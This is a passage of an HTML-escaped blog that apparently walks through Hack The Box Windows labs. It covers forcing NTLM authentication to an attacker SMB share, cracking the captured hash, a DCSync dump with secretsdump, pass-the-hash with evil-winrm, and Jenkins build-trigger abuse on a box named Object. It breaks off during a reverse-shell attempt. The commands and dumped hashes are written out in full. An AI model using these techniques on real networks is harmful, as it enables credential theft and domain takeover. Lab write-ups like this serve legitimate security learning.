\\10.10.16.14\file.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0615.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[SMB] NTLMv1 Client : 10.10.10.213&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[SMB] NTLMv1 Username : HTB\APT$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[SMB] NTLMv1 Hash : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Because it captured the same value, it displayed a skip message. I continued following the earlier tutorial, &lt;a class="link" href="https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md" target="_blank" rel="noopener"&#10; &gt;Pentest_Note/wiki/Lateral Movement/NTLM Relay and Man-in-the-Middle Attacks/Capturing and Cracking Net-NTLMv1 and NTLMv1 Hashes.md at master · xiaoy-sec/Pentest_Note&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://crack.sh/" target="_blank" rel="noopener"&#10; &gt;https://crack.sh/&lt;/a&gt; was down for maintenance, so I chose hashcat.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 5500 -a 3 1.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;hashcat was too slow, so I switched to john.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john --format=netntlm 1.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;In fact, crack.sh, hashcat, and john could all recover the password, but each would take a long time. I simply used the result from the writeup.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;d167c3238864b12f5f82feae86a7f798&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This was the password for APT$. Names ending in &lt;code&gt;$&lt;/code&gt; are generally machine accounts, and machine accounts have DCSync privileges by default. DCSync allows an account to impersonate a domain controller for replication, so I could go straight to the following command.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 htb.local/APT\$@htb.local -dc-ip htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Using the DRSUAPI method to get NTDS.DIT secrets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;PTH&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i htb.local -u administrator -H c370bddf384a691d811ff3495e8a72e2&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0616.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This machine took me more than a day. It was the hardest lab I&amp;rsquo;d encountered so far, and I reread the writeups many times because it involved so many different techniques. Without the writeups, I think I would have been completely stuck. I&amp;rsquo;m already starting to forget the RPC work from the beginning. Apart from RPC, which I hadn&amp;rsquo;t expected, the rest involved fairly standard services and penetration techniques—but you really need to think more broadly. This was an excellent machine, and everything fit the theory perfectly. For example, the username/password brute-force could only use the Kerberos protocol. None of the scripts I found worked, but once I broadened my approach, getTGT could brute-force the hashes too. That was a brilliant idea. Then there was the APT$ machine account. Machine accounts generally have DCSync privileges, so it could directly replicate NTDS.dit. I also learned a new way to trigger NTLM authentication.&lt;/p&gt;&#10;&lt;p&gt;The machine covered registry queries, writing Bash shell scripts, auditing PowerShell, filtering text (either Bash or Python works; I used Python here), modifying Python scripts (the original programs wouldn&amp;rsquo;t run at all, so I spent ages changing them without managing to fix them), and passing hashes across all kinds of protocols.&lt;/p&gt;&#10;&lt;p&gt;It touched an enormous range of topics. Later on, I&amp;rsquo;ll probably replay it together with Forest and Fuse. What sets it apart from the previous machines is that those weren&amp;rsquo;t really conventional—they focused on techniques unique to particular services. This one was conventional, but demanded deep familiarity. Otherwise, you would never think of all the approaches above.&lt;/p&gt;&#10;&lt;h2 id="21object"&gt;&lt;a href="#21object" class="header-anchor"&gt;&lt;/a&gt;21.Object&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0617.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0618.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 80 gave me a domain name. There did not seem to be much there, just a redirect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0619.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;8080&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0620.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0621.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0622.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The &lt;code&gt;admin&lt;/code&gt; user exists. I do not think this is meant to make me manually dig for vulnerabilities; there has to be a known way to exploit it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0623.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The admin panel is similar to the Azure DevOps setup I studied before, except that one mainly targeted ASPX while this one targets Java. So, in theory, if I can get into the admin panel, I should be able to upload a JSP file just like before and have it deployed normally to the site. That probably means the service on port 80 is deployed from here. All I need to do is get into the admin panel and deploy my webshell. Of course, there could also be automated deployment on a subdomain, so I will need to get in and take a look.&lt;/p&gt;&#10;&lt;p&gt;I casually created an account and entered the admin panel.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0624.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As far as I know, the path to a shell is right here. Nearly every blog post I found points down this path, but my privileges are clearly insufficient.&lt;/p&gt;&#10;&lt;p&gt;Also, this is version 2.317.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0625.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was released on October 19, 2021, so I need to look for exploits published after 2021. What I can confirm right now is that getting the &lt;code&gt;admin&lt;/code&gt; password would unquestionably let me get a shell. However, the box was released on February 8, 2022, which means that if no new CVE appeared during those four months, an exploit would not be the intended route and I would need another method.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0626.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I know where the initial password is stored.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0627.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;An arbitrary file read would also make this exploitable. I had been leaving the UDP ports aside because I first wanted to gather more information about these two web services.&lt;/p&gt;&#10;&lt;p&gt;UDP 53&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dig object.htb @object.htb +notcp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dig object.htb @object.htb +notcp AXFR&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I did not find anything.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0628.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0629.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;88 Kerberos&lt;/p&gt;&#10;&lt;p&gt;This did not disclose any useful information, so I moved on.&lt;/p&gt;&#10;&lt;p&gt;123 NTP&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -sU -sV --script &amp;#34;ntp* and (discovery or vuln) and not (dos or brute)&amp;#34; -p 123 object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpq -c readlist object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpq -c readvar object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpq -c peers object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpq -c associations object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdc -c monlist object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdc -c listpeers object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdc -c sysinfo object.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0630.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The other checks returned &lt;code&gt;xxxxRequest timed out&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;389 LDAP&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3fad0ec9-414c-432a-ba0b-837c74091dd6?redirectedfrom=MSDN" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3fad0ec9-414c-432a-ba0b-837c74091dd6?redirectedfrom=MSDN&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://serverfault.com/questions/661535/querying-ldap-server-on-udp" target="_blank" rel="noopener"&#10; &gt;https://serverfault.com/questions/661535/querying-ldap-server-on-udp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0631.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In other words, it can only be used for authentication. At this point I already had UDP port 88, UDP port 389, and TCP port 5985 for authentication.&lt;/p&gt;&#10;&lt;p&gt;There was nothing useful over UDP, and &lt;code&gt;dnsenum&lt;/code&gt; does not support UDP, so manual brute-forcing was the only option left. I decided to use FFUF to brute-force subdomains.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.11.132 -H &amp;#34;Host: FUZZ.object.htb&amp;#34; --hh 29932&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;By now I was not even completely sure whether this was a domain controller. I turned my attention back to TCP ports 80 and 8080. While brute-forcing subdomains, I also brute-forced directories. I tried running &lt;code&gt;cewl&lt;/code&gt; against port 80 and using the resulting list to brute-force passwords on port 8080, but that did not work.&lt;/p&gt;&#10;&lt;p&gt;I could not just sit around waiting for the brute-force jobs. Since the service on port 8080 allowed user registration and access to the admin panel, I figured those features had to be connected somehow. Registered Jenkins users had no projects, so I decided to look up Jenkins tutorials, create a project myself, and deploy it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://juejin.cn/post/7077957170121146376" target="_blank" rel="noopener"&#10; &gt;https://juejin.cn/post/7077957170121146376&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/" target="_blank" rel="noopener"&#10; &gt;https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I found the blog posts above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0632.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0633.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0634.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Plenty of blog posts explain how to write this; just search for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://community.jenkins.io/t/windows-batch-w-error-ends-unexpectedly-w-status-success/4884/3" target="_blank" rel="noopener"&#10; &gt;https://community.jenkins.io/t/windows-batch-w-error-ends-unexpectedly-w-status-success/4884/3&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/75830922/execute-windows-batch-command-in-jenkins-for-java-program" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/75830922/execute-windows-batch-command-in-jenkins-for-java-program&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/" target="_blank" rel="noopener"&#10; &gt;https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/&lt;/a&gt; # This post covers the entire process, though the commands are not very detailed.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, after following the whole process, I found that the Build button was missing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0635.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That meant I could not execute it, probably because my privileges were insufficient. I started Googling how to trigger a build.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://ghazanfaralidevops.medium.com/jenkins-popular-build-triggers-automate-the-cicd-pipeline-81cc39f4701b" target="_blank" rel="noopener"&#10; &gt;https://ghazanfaralidevops.medium.com/jenkins-popular-build-triggers-automate-the-cicd-pipeline-81cc39f4701b&lt;/a&gt;&#9;# This one introduces all of them.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://codefresh.io/learn/jenkins/9-jenkins-build-triggers-and-how-to-use-them-effectively/" target="_blank" rel="noopener"&#10; &gt;https://codefresh.io/learn/jenkins/9-jenkins-build-triggers-and-how-to-use-them-effectively/&lt;/a&gt; # This one is more comprehensive than the previous post.&lt;/p&gt;&#10;&lt;p&gt;I tried them one by one, following the tutorials.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0636.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The first is a scheduled task&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;The post also explained the scheduled-task syntax. &lt;code&gt;* * * * *&lt;/code&gt; means building once every minute.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0637.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a result here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0638.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The console also produced output, which confirmed that commands could be executed here. For learning purposes, I decided to look at the other options too—at least the ones that were not too difficult to set up.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The second is the SCM (Source Code Management) trigger&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;The SCM trigger is one of the most commonly used build triggers in Jenkins. It starts a build whenever it detects a change in the source-code repository. This trigger is crucial for continuous integration because it ensures the latest code changes are automatically tested and integrated into the main codebase.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0639.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This also uses five &lt;code&gt;*&lt;/code&gt; characters to check once per minute. As long as I make a commit, the build should complete within a minute.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0640.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a project. As soon as Jenkins downloaded and built it, the build step would execute. Unfortunately, it kept saying that it could not connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0641.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A build also ran here, but it failed because I had not configured the Git tool. That happened because I did not understand the setup at first. I fixed it later—as the configuration screenshot above shows, I set it to &lt;code&gt;git&lt;/code&gt;—but it still threw an error at this point.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;The third is Trigger builds remotely (e.g., from scripts)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0642.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The access method is also very simple.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://object.htb:8080/job/123124/build?token=124124" target="_blank" rel="noopener"&#10; &gt;http://object.htb:8080/job/123124/build?token=124124&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;For the token, I just use the number I entered above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0643.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That worked too.&lt;/p&gt;&#10;&lt;p&gt;In the end, I chose the URL trigger. Running it every minute would make the build history grow endlessly, which would be a pain.&lt;/p&gt;&#10;&lt;p&gt;Time to prepare a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0644.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Strangely, the connection failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0645.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I was sure it was not a port issue; I simply could not connect. Perhaps all outbound traffic was blocked. That would also explain why the Git attempt earlier failed even though the 